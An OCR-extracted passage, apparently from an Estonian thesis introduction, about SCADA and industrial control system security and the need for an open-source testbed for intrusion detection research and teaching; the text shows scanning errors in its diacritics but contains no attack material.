loomustavad varjatud ja omandidigusega protokollid ning isoleeritud vérgud, lhenevad
traditsioonilistele infotehnoloogia (IT) stisteemidele; IT-véimaluste lisamine ja fllsiliste
seadmete asendamine ,nutikatega®“.

Praeguses ICS-i keskkonnas on jarelvalve ja andmete hankimise (SCADA) slisteem vi-
ga levinud lahenduseks. Seda kasutatakse to6stusprotsesside juhtimiseks ja jalgimiseks,
reaalajas andmete kogumiseks, protsessiteabe kuvamiseks operaatoritele ning manuaal-
sete vOi autonoomsete tellimuste saatmiseks taiturmehhanismidele. SCADA slisteeme voib
leida naiteks kaasaegsetest elektrienergia jaotusinfrastruktuuridest, nutiarvutitest and-
mete kogumisel, millega moodetakse tarbimistaset, ja kontrollimiseks elektrienergia jao-
tustest.

Kiberturvalisuse seisukohast holmavad uurimusté6 suundumused sissetungimise tu-
vastamise slisteeme (IDS) ja testvoodeid. IDS-lahendused véimaldavad tuvastada ano-
maaliaid ja pahatahtlikku kaitumist vorgus. Need on arenenud deterministlikest masina-
oppe lahenemisviisidest. Testvoodid on reaalse keskkonna simuleerimiseks méeldud inf-
rastruktuurid. Testimine reaalses ICS-is voib olla ohtlik ja kallis, mistottu on testvoodid
kogunud populaarsust.

Arvestades, et keldris oleva reaalse tuumajaama koopia omamine ei ole véimalik, usu-
me, et testvoodid on (ks peamisi [ahtepunkte ICS-i uurimisel areenil. Selliste lahenduste
peamised kasutusalad on haavatavuste analiiiis, IDS-toodete testimine ja hariduslik ees-
mark. Sellest hoolimata puudub selliste testvoodi arendamiseks avatud lahtekoodiga test-
voodid voi raamistikud. Me leiame, et see on laveks tulevaste (ilidpilaste ja teadlaste jaoks.

Seetottu keskendub see uurimust66 avatud lahtekoodiga katsealuse loomisele ja selle
valjatootamise protsessile. Selle Glesande taitmiseks jargitakse disianiteaduse metoodi-
kat. See lahenemisviis aitab lahendust kavandada, valja to6tada ja valideerida. Loppees-
mark on katsealuse valjaté6tamise protseduuride valideerimine. Seda protseduuri saavad
opilased, opetajad voi teadlased kasutada hiljem selle teema 6ppimiseks, petamiseks ja
uurimiseks.
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